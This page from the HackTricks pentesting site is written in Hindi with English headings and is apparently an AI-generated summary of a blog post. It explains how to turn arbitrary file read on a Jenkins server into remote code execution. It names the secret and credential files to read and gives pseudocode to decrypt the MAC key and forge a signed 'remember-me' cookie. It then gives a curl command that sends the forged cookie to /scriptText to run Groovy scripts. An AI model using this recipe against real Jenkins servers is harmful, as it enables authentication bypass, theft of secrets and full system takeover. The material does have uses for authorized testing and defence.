Jenkins Arbitrary File Read to RCE via "Remember Me"

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

इस ब्लॉग पोस्ट में Jenkins में Local File Inclusion भेद्यता को RCE में बदलने का एक शानदार तरीका पाया जा सकता है: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

यह एक AI द्वारा बनाई गई संक्षेप है उस पोस्ट के भाग की जहां एक मनमाना कुकी का निर्माण RCE प्राप्त करने के लिए स्थानीय फ़ाइल पढ़ने का दुरुपयोग किया जाता है जब तक कि मेरे पास अपने स्वयं के संक्षेप को बनाने का समय न हो:

Attack Prerequisites

  • Feature Requirement: "Remember me" सक्षम होना चाहिए (डिफ़ॉल्ट सेटिंग)।
  • Access Levels: हमलावर को Overall/Read अनुमतियाँ चाहिए।
  • Secret Access: प्रमुख फ़ाइलों से बाइनरी और पाठ्य सामग्री पढ़ने की क्षमता।

Detailed Exploitation Process

Step 1: Data Collection

User Information Retrieval

  • प्रत्येक उपयोगकर्ता के लिए $JENKINS_HOME/users/*.xml से उपयोगकर्ता कॉन्फ़िगरेशन और रहस्यों तक पहुँचें:
  • Username
  • User seed
  • Timestamp
  • Password hash

Secret Key Extraction

  • कुकी पर हस्ताक्षर करने के लिए उपयोग किए जाने वाले क्रिप्टोग्राफिक कुंजियों को निकालें:
  • Secret Key: $JENKINS_HOME/secret.key
  • Master Key: $JENKINS_HOME/secrets/master.key
  • MAC Key File: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Token Preparation

  • Token Expiry Time की गणना करें:
javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // वर्तमान समय में एक घंटा जोड़ें
  • Token के लिए डेटा को संयोजित करें:
javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC Key Decryption

  • MAC Key File को डिक्रिप्ट करें:
javascript
key = toAes128Key(masterKey)  // मास्टर कुंजी को AES128 कुंजी प्रारूप में परिवर्तित करें
decrypted = AES.decrypt(macFile, key)  // .mac फ़ाइल को डिक्रिप्ट करें
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Signature Computation

  • HMAC SHA256 की गणना करें:
javascript
mac = HmacSHA256(token, macKey) // टोकन और MAC कुंजी का उपयोग करके HMAC की गणना करें
tokenSignature = bytesToHexString(mac) // MAC को हेक्साडेसिमल स्ट्रिंग में परिवर्तित करें

Cookie Encoding

  • अंतिम कुकी उत्पन्न करें:
javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // कुकी डेटा को Base64 में एन्कोड करें

Step 3: Code Execution

Session Authentication

  • CSRF और सत्र टोकन प्राप्त करें:
  • /crumbIssuer/api/json पर एक अनुरोध करें ताकि Jenkins-Crumb प्राप्त किया जा सके।
  • प्रतिक्रिया से JSESSIONID को कैप्चर करें, जिसका उपयोग याद रखने वाली कुकी के साथ किया जाएगा।

Command Execution Request

  • Groovy Script के साथ POST अनुरोध भेजें:
bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Groovy स्क्रिप्ट का उपयोग सिस्टम-स्तरीय कमांड या Jenkins वातावरण के भीतर अन्य संचालन को निष्पादित करने के लिए किया जा सकता है।

उदाहरण curl कमांड दिखाता है कि कैसे आवश्यक हेडर और कुकी के साथ Jenkins को अनुरोध भेजा जाए ताकि मनमाना कोड सुरक्षित रूप से निष्पादित किया जा सके।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें